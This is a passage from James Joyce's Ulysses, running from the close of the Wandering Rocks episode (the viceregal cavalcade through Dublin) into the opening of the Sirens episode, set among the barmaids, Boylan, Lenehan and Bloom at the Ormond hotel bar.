The moral idea seems lacking, the sense of destiny, of +retribution. Rather strange he should have just that fixed idea. Does he +write anything for your movement? + +He sank two lumps of sugar deftly longwise through the whipped +cream. Buck Mulligan slit a steaming scone in two and plastered butter +over its smoking pith. He bit off a soft piece hungrily. + +--Ten years, he said, chewing and laughing. He is going to write something +in ten years. + +--Seems a long way off, Haines said, thoughtfully lifting his spoon. +Still, I shouldn't wonder if he did after all. + +He tasted a spoonful from the creamy cone of his cup. + +--This is real Irish cream I take it, he said with forbearance. +I don't want to be imposed on. + +Elijah, skiff, light crumpled throwaway, sailed eastward by flanks of +ships and trawlers, amid an archipelago of corks, beyond new Wapping +street past Benson's ferry, and by the threemasted schooner ROSEVEAN from +Bridgwater with bricks. + + + * * * * * + + +Almidano Artifoni walked past Holles street, past Sewell's yard. +Behind him Cashel Boyle O'Connor Fitzmaurice Tisdall Farrell, with +stickumbrelladustcoat dangling, shunned the lamp before Mr Law Smith's +house and, crossing, walked along Merrion square. Distantly behind him a +blind stripling tapped his way by the wall of College park. + +Cashel Boyle O'Connor Fitzmaurice Tisdall Farrell walked as far as +Mr Lewis Werner's cheerful windows, then turned and strode back along +Merrion square, his stickumbrelladustcoat dangling. + +At the corner of Wilde's house he halted, frowned at Elijah's name +announced on the Metropolitan hall, frowned at the distant pleasance of +duke's lawn. His eyeglass flashed frowning in the sun. With ratsteeth +bared he muttered: + +--COACTUS VOLUI. + +He strode on for Clare street, grinding his fierce word. + +As he strode past Mr Bloom's dental windows the sway of his +dustcoat brushed rudely from its angle a slender tapping cane and swept +onwards, having buffeted a thewless body. The blind stripling turned his +sickly face after the striding form. + +--God's curse on you, he said sourly, whoever you are! You're blinder nor +I am, you bitch's bastard! + + + * * * * * + + +Opposite Ruggy O'Donohoe's Master Patrick Aloysius Dignam, +pawing the pound and a half of Mangan's, late Fehrenbach's, porksteaks he +had been sent for, went along warm Wicklow street dawdling. It was too +blooming dull sitting in the parlour with Mrs Stoer and Mrs Quigley and +Mrs MacDowell and the blind down and they all at their sniffles and +sipping sups of the superior tawny sherry uncle Barney brought from +Tunney's. And they eating crumbs of the cottage fruitcake, jawing the +whole blooming time and sighing. + +After Wicklow lane the window of Madame Doyle, courtdress +milliner, stopped him. He stood looking in at the two puckers stripped to +their pelts and putting up their props. From the sidemirrors two mourning +Masters Dignam gaped silently. Myler Keogh, Dublin's pet lamb, will meet +sergeantmajor Bennett, the Portobello bruiser, for a purse of fifty +sovereigns. Gob, that'd be a good pucking match to see. Myler Keogh, +that's the chap sparring out to him with the green sash. Two bar entrance, +soldiers half price. I could easy do a bunk on ma. Master Dignam on his +left turned as he turned. That's me in mourning. When is it? May the +twentysecond. Sure, the blooming thing is all over. He turned to the right +and on his right Master Dignam turned, his cap awry, his collar sticking +up. Buttoning it down, his chin lifted, he saw the image of Marie Kendall, +charming soubrette, beside the two puckers. One of them mots that do be in +the packets of fags Stoer smokes that his old fellow welted hell out of +him for one time he found out. + +Master Dignam got his collar down and dawdled on. The best pucker +going for strength was Fitzsimons. One puck in the wind from that fellow +would knock you into the middle of next week, man. But the best pucker +for science was Jem Corbet before Fitzsimons knocked the stuffings out of +him, dodging and all. + +In Grafton street Master Dignam saw a red flower in a toff's mouth +and a swell pair of kicks on him and he listening to what the drunk was +telling him and grinning all the time. + +No Sandymount tram. + +Master Dignam walked along Nassau street, shifted the porksteaks to +his other hand. His collar sprang up again and he tugged it down. The +blooming stud was too small for the buttonhole of the shirt, blooming end +to it. He met schoolboys with satchels. I'm not going tomorrow either, +stay away till Monday. He met other schoolboys. Do they notice I'm in +mourning? Uncle Barney said he'd get it into the paper tonight. Then +they'll all see it in the paper and read my name printed and pa's name. + +His face got all grey instead of being red like it was and there was a +fly walking over it up to his eye. The scrunch that was when they were +screwing the screws into the coffin: and the bumps when they were bringing +it downstairs. + +Pa was inside it and ma crying in the parlour and uncle Barney telling +the men how to get it round the bend. A big coffin it was, and high and +heavylooking. How was that? The last night pa was boosed he was standing +on the landing there bawling out for his boots to go out to Tunney's for +to boose more and he looked butty and short in his shirt. Never see him +again. Death, that is. Pa is dead. My father is dead. He told me to be a +good son to ma. I couldn't hear the other things he said but I saw his +tongue and his teeth trying to say it better. Poor pa. That was Mr Dignam, +my father. I hope he's in purgatory now because he went to confession to +Father Conroy on Saturday night. + + + * * * * * + + +William Humble, earl of Dudley, and lady Dudley, accompanied by +lieutenantcolonel Heseltine, drove out after luncheon from the viceregal +lodge. In the following carriage were the honourable Mrs Paget, Miss de +Courcy and the honourable Gerald Ward A.D.C. in attendance. + +The cavalcade passed out by the lower gate of Phoenix park saluted +by obsequious policemen and proceeded past Kingsbridge along the +northern quays. The viceroy was most cordially greeted on his way through +the metropolis. At Bloody bridge Mr Thomas Kernan beyond the river +greeted him vainly from afar Between Queen's and Whitworth bridges lord +Dudley's viceregal carriages passed and were unsaluted by Mr Dudley +White, B. L., M. A., who stood on Arran quay outside Mrs M. E. White's, +the pawnbroker's, at the corner of Arran street west stroking his nose +with his forefinger, undecided whether he should arrive at Phibsborough +more quickly by a triple change of tram or by hailing a car or on foot +through Smithfield, Constitution hill and Broadstone terminus. In the +porch of Four Courts Richie Goulding with the costbag of Goulding, +Collis and Ward saw him with surprise. Past Richmond bridge at the +doorstep of the office of Reuben J Dodd, solicitor, agent for the +Patriotic Insurance Company, an elderly female about to enter changed +her plan and retracing her steps by King's windows smiled credulously +on the representative of His Majesty. From its sluice in Wood quay +wall under Tom Devan's office Poddle river hung out in fealty a tongue +of liquid sewage. Above the crossblind of the Ormond hotel, gold by +bronze, Miss Kennedy's head by Miss Douce's head watched and admired. +On Ormond quay Mr Simon Dedalus, steering his way from the greenhouse +for the subsheriff's office, stood still in midstreet and brought his +hat low. His Excellency graciously returned Mr Dedalus' greeting. From +Cahill's corner the reverend Hugh C. Love, M.A., made obeisance +unperceived, mindful of lords deputies whose hands benignant +had held of yore rich advowsons. On Grattan bridge Lenehan and M'Coy, +taking leave of each other, watched the carriages go by. Passing by Roger +Greene's office and Dollard's big red printinghouse Gerty MacDowell, +carrying the Catesby's cork lino letters for her father who was laid up, +knew by the style it was the lord and lady lieutenant but she couldn't see +what Her Excellency had on because the tram and Spring's big yellow +furniture van had to stop in front of her on account of its being the lord +lieutenant. Beyond Lundy Foot's from the shaded door of Kavanagh's +winerooms John Wyse Nolan smiled with unseen coldness towards the lord +lieutenantgeneral and general governor of Ireland. The Right Honourable +William Humble, earl of Dudley, G. C. V. O., passed Micky Anderson's +all times ticking watches and Henry and James's wax smartsuited +freshcheeked models, the gentleman Henry, DERNIER CRI James. Over against +Dame gate Tom Rochford and Nosey Flynn watched the approach of the +cavalcade. Tom Rochford, seeing the eyes of lady Dudley fixed on him, +took his thumbs quickly out of the pockets of his claret waistcoat and +doffed his cap to her. A charming SOUBRETTE, great Marie Kendall, with +dauby cheeks and lifted skirt smiled daubily from her poster upon William +Humble, earl of Dudley, and upon lieutenantcolonel H. G. Heseltine, and +also upon the honourable Gerald Ward A. D. C. From the window of the +D. B. C. Buck Mulligan gaily, and Haines gravely, gazed down on the +viceregal equipage over the shoulders of eager guests, whose mass of forms +darkened the chessboard whereon John Howard Parnell looked intently. In +Fownes's street Dilly Dedalus, straining her sight upward from +Chardenal's first French primer, saw sunshades spanned and wheelspokes +spinning in the glare. John Henry Menton, filling the doorway of +Commercial Buildings, stared from winebig oyster eyes, holding a fat gold +hunter watch not looked at in his fat left hand not feeling it. Where the +foreleg of King Billy's horse pawed the air Mrs Breen plucked her +hastening husband back from under the hoofs of the outriders. She shouted +in his ear the tidings. Understanding, he shifted his tomes to his left +breast and saluted the second carriage. The honourable Gerald Ward A.D.C., +agreeably surprised, made haste to reply. At Ponsonby's corner a jaded +white flagon H. halted and four tallhatted white flagons halted behind +him, E.L.Y'S, while outriders pranced past and carriages. Opposite +Pigott's music warerooms Mr Denis J Maginni, professor of dancing &c, +gaily apparelled, gravely walked, outpassed by a viceroy and unobserved. +By the provost's wall came jauntily Blazes Boylan, stepping in tan shoes +and socks with skyblue clocks to the refrain of MY GIRL'S A YORKSHIRE +GIRL. + +Blazes Boylan presented to the leaders' skyblue frontlets and high +action a skyblue tie, a widebrimmed straw hat at a rakish angle and a suit +of indigo serge. His hands in his jacket pockets forgot to salute but he +offered to the three ladies the bold admiration of his eyes and the red +flower between his lips. As they drove along Nassau street His Excellency +drew the attention of his bowing consort to the programme of music which +was being discoursed in College park. Unseen brazen highland laddies +blared and drumthumped after the CORTEGE: + + + BUT THOUGH SHE'S A FACTORY LASS + AND WEARS NO FANCY CLOTHES. + BARAABUM. + YET I'VE A SORT OF A + YORKSHIRE RELISH FOR + MY LITTLE YORKSHIRE ROSE. + BARAABUM. + + +Thither of the wall the quartermile flat handicappers, M. C. Green, H. +Shrift, T. M. Patey, C. Scaife, J. B. Jeffs, G. N. Morphy, F. Stevenson, +C. Adderly and W. C. Huggard, started in pursuit. Striding past Finn's +hotel Cashel Boyle O'Connor Fitzmaurice Tisdall Farrell stared through a +fierce eyeglass across the carriages at the head of Mr M. E. Solomons in +the window of the Austro-Hungarian viceconsulate. Deep in Leinster street +by Trinity's postern a loyal king's man, Hornblower, touched his tallyho +cap. As the glossy horses pranced by Merrion square Master Patrick +Aloysius Dignam, waiting, saw salutes being given to the gent with the +topper and raised also his new black cap with fingers greased by +porksteak paper. His collar too sprang up. The viceroy, on his way to +inaugurate the Mirus bazaar in aid of funds for Mercer's hospital, +drove with his following towards Lower Mount street. He passed a blind +stripling opposite Broadbent's. In Lower Mount street a pedestrian in a +brown macintosh, eating dry bread, passed swiftly and unscathed across the +viceroy's path. At the Royal Canal bridge, from his hoarding, Mr Eugene +Stratton, his blub lips agrin, bade all comers welcome to Pembroke +township. At Haddington road corner two sanded women halted themselves, +an umbrella and a bag in which eleven cockles rolled to view with wonder +the lord mayor and lady mayoress without his golden chain. On +Northumberland and Lansdowne roads His Excellency acknowledged punctually +salutes from rare male walkers, the salute of two small schoolboys at the +garden gate of the house said to have been admired by the late queen when +visiting the Irish capital with her husband, the prince consort, in 1849 +and the salute of Almidano Artifoni's sturdy trousers swallowed by a +closing door. + + + * * * * * * * + + +Bronze by gold heard the hoofirons, steelyringing Imperthnthn thnthnthn. + +Chips, picking chips off rocky thumbnail, chips. + +Horrid! And gold flushed more. + +A husky fifenote blew. + +Blew. Blue bloom is on the. + +Goldpinnacled hair. + +A jumping rose on satiny breast of satin, rose of Castile. + +Trilling, trilling: Idolores. + +Peep! Who's in the ... peepofgold? + +Tink cried to bronze in pity. + +And a call, pure, long and throbbing. Longindying call. + +Decoy. Soft word. But look: the bright stars fade. Notes chirruping +answer. + +O rose! Castile. The morn is breaking. + +Jingle jingle jaunted jingling. + +Coin rang. Clock clacked. + +Avowal. SONNEZ. I could. Rebound of garter. Not leave thee. Smack. LA +CLOCHE! Thigh smack. Avowal. Warm. Sweetheart, goodbye! + +Jingle. Bloo. + +Boomed crashing chords. When love absorbs. War! War! The tympanum. + +A sail! A veil awave upon the waves. + +Lost. Throstle fluted. All is lost now. + +Horn. Hawhorn. + +When first he saw. Alas! + +Full tup. Full throb. + +Warbling. Ah, lure! Alluring. + +Martha! Come! + +Clapclap. Clipclap. Clappyclap. + +Goodgod henev erheard inall. + +Deaf bald Pat brought pad knife took up. + +A moonlit nightcall: far, far. + +I feel so sad. P. S. So lonely blooming. + +Listen! + +The spiked and winding cold seahorn. Have you the? Each, and for other, +plash and silent roar. + +Pearls: when she. Liszt's rhapsodies. Hissss. + +You don't? + +Did not: no, no: believe: Lidlyd. With a cock with a carra. + +Black. Deepsounding. Do, Ben, do. + +Wait while you wait. Hee hee. Wait while you hee. + +But wait! + +Low in dark middle earth. Embedded ore. + +Naminedamine. Preacher is he: + +All gone. All fallen. + +Tiny, her tremulous fernfoils of maidenhair. + +Amen! He gnashed in fury. + +Fro. To, fro. A baton cool protruding. + +Bronzelydia by Minagold. + +By bronze, by gold, in oceangreen of shadow. Bloom. Old Bloom. + +One rapped, one tapped, with a carra, with a cock. + +Pray for him! Pray, good people! + +His gouty fingers nakkering. + +Big Benaben. Big Benben. + +Last rose Castile of summer left bloom I feel so sad alone. + +Pwee! Little wind piped wee. + +True men. Lid Ker Cow De and Doll. Ay, ay. Like you men. Will lift your +tschink with tschunk. + +Fff! Oo! + +Where bronze from anear? Where gold from afar? Where hoofs? + +Rrrpr. Kraa. Kraandl. + +Then not till then. My eppripfftaph. Be pfrwritt. + +Done. + +Begin! + +Bronze by gold, miss Douce's head by miss Kennedy's head, over the +crossblind of the Ormond bar heard the viceregal hoofs go by, ringing +steel. + +--Is that her? asked miss Kennedy. + +Miss Douce said yes, sitting with his ex, pearl grey and EAU DE NIL. + +--Exquisite contrast, miss Kennedy said. + + +When all agog miss Douce said eagerly: + +--Look at the fellow in the tall silk. + +--Who? Where? gold asked more eagerly. + +--In the second carriage, miss Douce's wet lips said, laughing in the sun. + +He's looking. Mind till I see. + +She darted, bronze, to the backmost corner, flattening her face +against the pane in a halo of hurried breath. + +Her wet lips tittered: + +--He's killed looking back. + +She laughed: + +--O wept! Aren't men frightful idiots? + +With sadness. + +Miss Kennedy sauntered sadly from bright light, twining a loose hair +behind an ear. Sauntering sadly, gold no more, she twisted twined a hair. + +Sadly she twined in sauntering gold hair behind a curving ear. + +--It's them has the fine times, sadly then she said. + +A man. + +Bloowho went by by Moulang's pipes bearing in his breast the sweets +of sin, by Wine's antiques, in memory bearing sweet sinful words, by +Carroll's dusky battered plate, for Raoul. + +The boots to them, them in the bar, them barmaids came. For them +unheeding him he banged on the counter his tray of chattering china. And + +--There's your teas, he said. + +Miss Kennedy with manners transposed the teatray down to an +upturned lithia crate, safe from eyes, low. + +--What is it? loud boots unmannerly asked. + +--Find out, miss Douce retorted, leaving her spyingpoint. + +--Your BEAU, is it? + +A haughty bronze replied: + +--I'll complain to Mrs de Massey on you if I hear any more of your +impertinent insolence. + +--Imperthnthn thnthnthn, bootssnout sniffed rudely, as he retreated as she +threatened as he had come. + +Bloom. + +On her flower frowning miss Douce said: + +--Most aggravating that young brat is. If he doesn't conduct himself I'll +wring his ear for him a yard long. + +Ladylike in exquisite contrast. + +--Take no notice, miss Kennedy rejoined. + +She poured in a teacup tea, then back in the teapot tea. They cowered +under their reef of counter, waiting on footstools, crates upturned, +waiting for their teas to draw. They pawed their blouses, both of black +satin, two and nine a yard, waiting for their teas to draw, and two and +seven. + +Yes, bronze from anear, by gold from afar, heard steel from anear, +hoofs ring from afar, and heard steelhoofs ringhoof ringsteel. + +--Am I awfully sunburnt? + +Miss bronze unbloused her neck. + +--No, said miss Kennedy. It gets brown after. Did you try the borax with +the cherry laurel water? + +Miss Douce halfstood to see her skin askance in the barmirror +gildedlettered where hock and claret glasses shimmered and in their midst +a shell. + +--And leave it to my hands, she said. + +--Try it with the glycerine, miss Kennedy advised. + +Bidding her neck and hands adieu miss Douce + +--Those things only bring out a rash, replied, reseated. I asked that old +fogey in Boyd's for something for my skin. + +Miss Kennedy, pouring now a fulldrawn tea, grimaced and prayed: + +--O, don't remind me of him for mercy' sake! + +--But wait till I tell you, miss Douce entreated. + +Sweet tea miss Kennedy having poured with milk plugged both two +ears with little fingers. + +--No, don't, she cried. + +--I won't listen, she cried. + +But Bloom? + +Miss Douce grunted in snuffy fogey's tone: + +--For your what? says he. + +Miss Kennedy unplugged her ears to hear, to speak: but said, but +prayed again: + +--Don't let me think of him or I'll expire. The hideous old wretch! That +night in the Antient Concert Rooms. + +She sipped distastefully her brew, hot tea, a sip, sipped, sweet tea. + +--Here he was, miss Douce said, cocking her bronze head three quarters, +ruffling her nosewings. Hufa! Hufa! + +Shrill shriek of laughter sprang from miss Kennedy's throat. Miss +Douce huffed and snorted down her nostrils that quivered imperthnthn like +a snout in quest. + +--O! shrieking, miss Kennedy cried. Will you ever forget his goggle eye? + +Miss Douce chimed in in deep bronze laughter, shouting: + +--And your other eye! + +Bloowhose dark eye read Aaron Figatner's name. Why do I always +think Figather? Gathering figs, I think. And Prosper Lore's huguenot name. +By Bassi's blessed virgins Bloom's dark eyes went by. Bluerobed, white +under, come to me. God they believe she is: or goddess. Those today. I +could not see. That fellow spoke. A student. After with Dedalus' son. He +might be Mulligan. All comely virgins. That brings those rakes of fellows +in: her white. + +By went his eyes. The sweets of sin. Sweet are the sweets. + +Of sin. + +In a giggling peal young goldbronze voices blended, Douce with +Kennedy your other eye. They threw young heads back, bronze gigglegold, +to let freefly their laughter, screaming, your other, signals to each +other, high piercing notes. + +Ah, panting, sighing, sighing, ah, fordone, their mirth died down. + +Miss Kennedy lipped her cup again, raised, drank a sip and +gigglegiggled. Miss Douce, bending over the teatray, ruffled again her +nose and rolled droll fattened eyes. Again Kennygiggles, stooping, her +fair pinnacles of hair, stooping, her tortoise napecomb showed, spluttered +out of her mouth her tea, choking in tea and laughter, coughing with +choking, crying: + +--O greasy eyes! Imagine being married to a man like that! she cried. With +his bit of beard! + +Douce gave full vent to a splendid yell, a full yell of full woman, +delight, joy, indignation. + +--Married to the greasy nose! she yelled. + +Shrill, with deep laughter, after, gold after bronze, they urged each +each to peal after peal, ringing in changes, bronzegold, goldbronze, +shrilldeep, to laughter after laughter. And then laughed more. Greasy I +knows. Exhausted, breathless, their shaken heads they laid, braided and +pinnacled by glossycombed, against the counterledge. All flushed (O!), +panting, sweating (O!), all breathless. + +Married to Bloom, to greaseabloom. + +--O saints above! miss Douce said, sighed above her jumping rose. I wished + +I hadn't laughed so much. I feel all wet. + +--O, miss Douce! miss Kennedy protested. You horrid thing! + +And flushed yet more (you horrid!), more goldenly. + +By Cantwell's offices roved Greaseabloom, by Ceppi's virgins, bright +of their oils. Nannetti's father hawked those things about, wheedling at +doors as I. Religion pays. Must see him for that par. Eat first. I want. +Not yet. At four, she said. Time ever passing. Clockhands turning. On. +Where eat? The Clarence, Dolphin. On. For Raoul. Eat. If I net five +guineas with those ads. The violet silk petticoats. Not yet. The sweets +of sin. + +Flushed less, still less, goldenly paled. + +Into their bar strolled Mr Dedalus. Chips, picking chips off one of his +rocky thumbnails. Chips. He strolled. + +--O, welcome back, miss Douce. + +He held her hand. Enjoyed her holidays? + +--Tiptop. + +He hoped she had nice weather in Rostrevor. + +--Gorgeous, she said. Look at the holy show I am. Lying out on the strand +all day. + +Bronze whiteness. + +--That was exceedingly naughty of you, Mr Dedalus told her and pressed +her hand indulgently. Tempting poor simple males. + +Miss Douce of satin douced her arm away. + +--O go away! she said. You're very simple, I don't think. + +He was. + +--Well now I am, he mused. I looked so simple in the cradle they christened +me simple Simon. + +--You must have been a doaty, miss Douce made answer. And what did the +doctor order today? + +--Well now, he mused, whatever you say yourself. I think I'll trouble you +for some fresh water and a half glass of whisky. + +Jingle. + +--With the greatest alacrity, miss Douce agreed. + +With grace of alacrity towards the mirror gilt Cantrell and +Cochrane's she turned herself. With grace she tapped a measure of gold +whisky from her crystal keg. Forth from the skirt of his coat Mr Dedalus +brought pouch and pipe. Alacrity she served. He blew through the flue two +husky fifenotes. + +--By Jove, he mused, I often wanted to see the Mourne mountains. Must be +a great tonic in the air down there. But a long threatening comes at last, +they say. Yes. Yes. + +Yes. He fingered shreds of hair, her maidenhair, her mermaid's, into +the bowl. Chips. Shreds. Musing. Mute. + +None nought said nothing. Yes. + +Gaily miss Douce polished a tumbler, trilling: + +--O, IDOLORES, QUEEN OF THE EASTERN SEAS! + +--Was Mr Lidwell in today? + +In came Lenehan. Round him peered Lenehan. Mr Bloom reached Essex bridge. +Yes, Mr Bloom crossed bridge of Yessex. To Martha I must write. Buy paper. +Daly's. Girl there civil. Bloom. Old Bloom. Blue bloom is on the rye. + +--He was in at lunchtime, miss Douce said. + +Lenehan came forward. + +--Was Mr Boylan looking for me? + +He asked. She answered: + +--Miss Kennedy, was Mr Boylan in while I was upstairs? + +She asked. Miss voice of Kennedy answered, a second teacup poised, +her gaze upon a page: + +--No. He was not. + +Miss gaze of Kennedy, heard, not seen, read on. Lenehan round the +sandwichbell wound his round body round. + +--Peep! Who's in the corner? + +No glance of Kennedy rewarding him he yet made overtures. To mind +her stops. To read only the black ones: round o and crooked ess. + +Jingle jaunty jingle. + +Girlgold she read and did not glance. Take no notice. She took no +notice while he read by rote a solfa fable for her, plappering flatly: + +--Ah fox met ah stork. Said thee fox too thee stork: Will you put your +bill down inn my troath and pull upp ah bone? + +He droned in vain. Miss Douce turned to her tea aside. + +He sighed aside: + +--Ah me! O my! + +He greeted Mr Dedalus and got a nod. + +--Greetings from the famous son of a famous father. + +--Who may he be? Mr Dedalus asked. + +Lenehan opened most genial arms. Who? + +--Who may he be? he asked. Can you ask? Stephen, the youthful bard. + +Dry. + +Mr Dedalus, famous father, laid by his dry filled pipe. + +--I see, he said. I didn't recognise him for the moment. I hear he is +keeping very select company. Have you seen him lately? + +He had. + +--I quaffed the nectarbowl with him this very day, said Lenehan. In +Mooney's EN VILLE and in Mooney's SUR MER. He had received the rhino for +the labour of his muse. + +He smiled at bronze's teabathed lips, at listening lips and eyes: + +--The ELITE of Erin hung upon his lips. The ponderous pundit, Hugh + +MacHugh, Dublin's most brilliant scribe and editor and that minstrel boy +of the wild wet west who is known by the euphonious appellation of the +O'Madden Burke. + +After an interval Mr Dedalus raised his grog and + +--That must have been highly diverting, said he. I see. + +He see. He drank. With faraway mourning mountain eye. Set down +his glass. + +He looked towards the saloon door. + +--I see you have moved the piano. + +--The tuner was in today, miss Douce replied, tuning it for the smoking +concert and I never heard such an exquisite player. + +--Is that a fact? + +--Didn't he, miss Kennedy? The real classical, you know. And blind too, +poor fellow. Not twenty I'm sure he was. + +--Is that a fact? Mr Dedalus said. + +He drank and strayed away. + +--So sad to look at his face, miss Douce condoled. + +God's curse on bitch's bastard. + +Tink to her pity cried a diner's bell. To the door of the bar and +diningroom came bald Pat, came bothered Pat, came Pat, waiter of +Ormond. Lager for diner. Lager without alacrity she served. + +With patience Lenehan waited for Boylan with impatience, for +jinglejaunty blazes boy. + +Upholding the lid he (who?) gazed in the coffin (coffin?) at the +oblique triple (piano!) wires. He pressed (the same who pressed +indulgently her hand), soft pedalling, a triple of keys to see the +thicknesses of felt advancing, to hear the muffled hammerfall in action. + +Two sheets cream vellum paper one reserve two envelopes when I was +in Wisdom Hely's wise Bloom in Daly's Henry Flower bought. Are you not +happy in your home? Flower to console me and a pin cuts lo. Means +something, language of flow. Was it a daisy? Innocence that is. +Respectable girl meet after mass. Thanks awfully muchly. Wise Bloom eyed +on the door a poster, a swaying mermaid smoking mid nice waves. Smoke +mermaids, coolest whiff of all. Hair streaming: lovelorn. For some man. +For Raoul. He eyed and saw afar on Essex bridge a gay hat riding on a +jaunting car. It is. Again. Third time. Coincidence. + +Jingling on supple rubbers it jaunted from the bridge to Ormond +quay. Follow. Risk it. Go quick. At four. Near now. Out. + +--Twopence, sir, the shopgirl dared to say. + +--Aha ... I was forgetting ... Excuse ... + +--And four. + +At four she. Winsomely she on Bloohimwhom smiled. Bloo smi qui +go. Ternoon. Think you're the only pebble on the beach? Does that to all. + +For men. + +In drowsy silence gold bent on her page. + +From the saloon a call came, long in dying. That was a tuningfork the +tuner had that he forgot that he now struck. A call again. That he now +poised that it now throbbed. You hear? It throbbed, pure, purer, softly +and softlier, its buzzing prongs. Longer in dying call. + +Pat paid for diner's popcorked bottle: and over tumbler, tray and +popcorked bottle ere he went he whispered, bald and bothered, with Miss + +Douce. + +--THE BRIGHT STARS FADE ... + +A voiceless song sang from within, singing: + +-- ... THE MORN IS BREAKING. + +A duodene of birdnotes chirruped bright treble answer under sensitive +hands. Brightly the keys, all twinkling, linked, all harpsichording, +called to a voice to sing the strain of dewy morn, of youth, of love's +leavetaking, life's, love's morn. + +--THE DEWDROPS PEARL ... + +Lenehan's lips over the counter lisped a low whistle of decoy. + +--But look this way, he said, rose of Castile. + +Jingle jaunted by the curb and stopped. + +She rose and closed her reading, rose of Castile: fretted, forlorn, +dreamily rose. + +--Did she fall or was she pushed? he asked her. + +She answered, slighting: + +--Ask no questions and you'll hear no lies. + +Like lady, ladylike. + +Blazes Boylan's smart tan shoes creaked on the barfloor where he +strode. Yes, gold from anear by bronze from afar. Lenehan heard and knew +and hailed him: + +--See the conquering hero comes. + +Between the car and window, warily walking, went Bloom, +unconquered hero. See me he might. The seat he sat on: warm. Black wary +hecat walked towards Richie Goulding's legal bag, lifted aloft, saluting. + +--AND I FROM THEE ... + +--I heard you were round, said Blazes Boylan. + +He touched to fair miss Kennedy a rim of his slanted straw. She +smiled on him. But sister bronze outsmiled her, preening for him her +richer hair, a bosom and a rose. + +Smart Boylan bespoke potions. + +--What's your cry? Glass of bitter? Glass of bitter, please, and a sloegin +for me. Wire in yet? + +Not yet. At four she. Who said four? + +Cowley's red lugs and bulging apple in the door of the sheriff's office. + +Avoid. Goulding a chance. What is he doing in the Ormond? Car waiting. + +Wait. + +Hello. Where off to? Something to eat? I too was just. In here. What, +Ormond? Best value in Dublin. Is that so? Diningroom. Sit tight there. +See, not be seen. I think I'll join you. Come on. Richie led on. Bloom +followed bag. Dinner fit for a prince. + +Miss Douce reached high to take a flagon, stretching her satin arm, +her bust, that all but burst, so high. + +--O! O! jerked Lenehan, gasping at each stretch. O! + +But easily she seized her prey and led it low in triumph. + +--Why don't you grow? asked Blazes Boylan. + +Shebronze, dealing from her oblique jar thick syrupy liquor for his +lips, looked as it flowed (flower in his coat: who gave him?), and +syrupped with her voice: + +--Fine goods in small parcels. + +That is to say she. Neatly she poured slowsyrupy sloe. + +--Here's fortune, Blazes said. + +He pitched a broad coin down. Coin rang. + +--Hold on, said Lenehan, till I ... + +--Fortune, he wished, lifting his bubbled ale. + +--Sceptre will win in a canter, he said. + +--I plunged a bit, said Boylan winking and drinking. Not on my own, you +know. Fancy of a friend of mine. + +Lenehan still drank and grinned at his tilted ale and at miss Douce's +lips that all but hummed, not shut, the oceansong her lips had trilled. + +Idolores. The eastern seas. + +Clock whirred. Miss Kennedy passed their way (flower, wonder who +gave), bearing away teatray. Clock clacked. + +Miss Douce took Boylan's coin, struck boldly the cashregister. It +clanged. Clock clacked. Fair one of Egypt teased and sorted in the till +and hummed and handed coins in change. Look to the west. A clack. For me. + +--What time is that? asked Blazes Boylan. Four? + +O'clock. + +Lenehan, small eyes ahunger on her humming, bust ahumming, +tugged Blazes Boylan's elbowsleeve. + +--Let's hear the time, he said. + + +The bag of Goulding, Collis, Ward led Bloom by ryebloom flowered +tables. Aimless he chose with agitated aim, bald Pat attending, a table +near the door. Be near. At four. Has he forgotten? Perhaps a trick. Not +come: whet appetite. I couldn't do. Wait, wait. Pat, waiter, waited. + +Sparkling bronze azure eyed Blazure's skyblue bow and eyes. + +--Go on, pressed Lenehan. There's no-one. He never heard. + +-- ... TO FLORA'S LIPS DID HIE. + +High, a high note pealed in the treble clear. + +Bronzedouce communing with her rose that sank and rose sought + +Blazes Boylan's flower and eyes. + +--Please, please. + +He pleaded over returning phrases of avowal. + +--I COULD NOT LEAVE THEE ... + +--Afterwits, miss Douce promised coyly. + +--No, now, urged Lenehan. SONNEZLACLOCHE! O do! There's no-one. + +She looked. Quick. Miss Kenn out of earshot. Sudden bent. Two +kindling faces watched her bend. + +Quavering the chords strayed from the air, found it again, lost chord, +and lost and found it, faltering. + +--Go on! Do! SONNEZ! + +Bending, she nipped a peak of skirt above her knee. Delayed. Taunted +them still, bending, suspending, with wilful eyes. + +--SONNEZ! + +Smack. She set free sudden in rebound her nipped elastic garter +smackwarm against her smackable a woman's warmhosed thigh. + +--LA CLOCHE! cried gleeful Lenehan. Trained by owner. No sawdust there. + +She smilesmirked supercilious (wept! aren't men?), but, lightward +gliding, mild she smiled on Boylan. + +--You're the essence of vulgarity, she in gliding said. + +Boylan, eyed, eyed. Tossed to fat lips his chalice, drank off his chalice +tiny, sucking the last fat violet syrupy drops. His spellbound eyes went +after, after her gliding head as it went down the bar by mirrors, gilded +arch for ginger ale, hock and claret glasses shimmering, a spiky shell, +where it concerted, mirrored, bronze with sunnier bronze. + +Yes, bronze from anearby. + +-- ... SWEETHEART, GOODBYE! + +--I'm off, said Boylan with impatience. + +He slid his chalice brisk away, grasped his change. + +--Wait a shake, begged Lenehan, drinking quickly. I wanted to tell you. + +Tom Rochford ... + +--Come on to blazes, said Blazes Boylan, going. + +Lenehan gulped to go. + +--Got the horn or what? he said. Wait. I'm coming. + +He followed the hasty creaking shoes but stood by nimbly by the +threshold, saluting forms, a bulky with a slender. + +--How do you do, Mr Dollard? + +--Eh? How do? How do? Ben Dollard's vague bass answered, turning an +instant from Father Cowley's woe. He won't give you any trouble, Bob. Alf +Bergan will speak to the long fellow. We'll put a barleystraw in that +Judas Iscariot's ear this time. + +Sighing Mr Dedalus came through the saloon, a finger soothing an +eyelid. + +--Hoho, we will, Ben Dollard yodled jollily. Come on, Simon. Give us a +ditty. We heard the piano. + +Bald Pat, bothered waiter, waited for drink orders. Power for Richie. +And Bloom? Let me see. Not make him walk twice. His corns. Four now. +How warm this black is. Course nerves a bit. Refracts (is it?) heat. Let +me see. Cider. Yes, bottle of cider. + +--What's that? Mr Dedalus said. I was only vamping, man. + +--Come on, come on, Ben Dollard called. Begone dull care. Come, Bob. + +He ambled Dollard, bulky slops, before them (hold that fellow with +the: hold him now) into the saloon. He plumped him Dollard on the stool. +His gouty paws plumped chords. Plumped, stopped abrupt. + +Bald Pat in the doorway met tealess gold returning. Bothered, he +wanted Power and cider. Bronze by the window, watched, bronze from +afar. + +Jingle a tinkle jaunted. + +Bloom heard a jing, a little sound. He's off. Light sob of breath Bloom +sighed on the silent bluehued flowers. Jingling. He's gone. Jingle. Hear. + +--Love and War, Ben, Mr Dedalus said. God be with old times. + +Miss Douce's brave eyes, unregarded, turned from the crossblind, +smitten by sunlight. Gone. Pensive (who knows?), smitten (the smiting 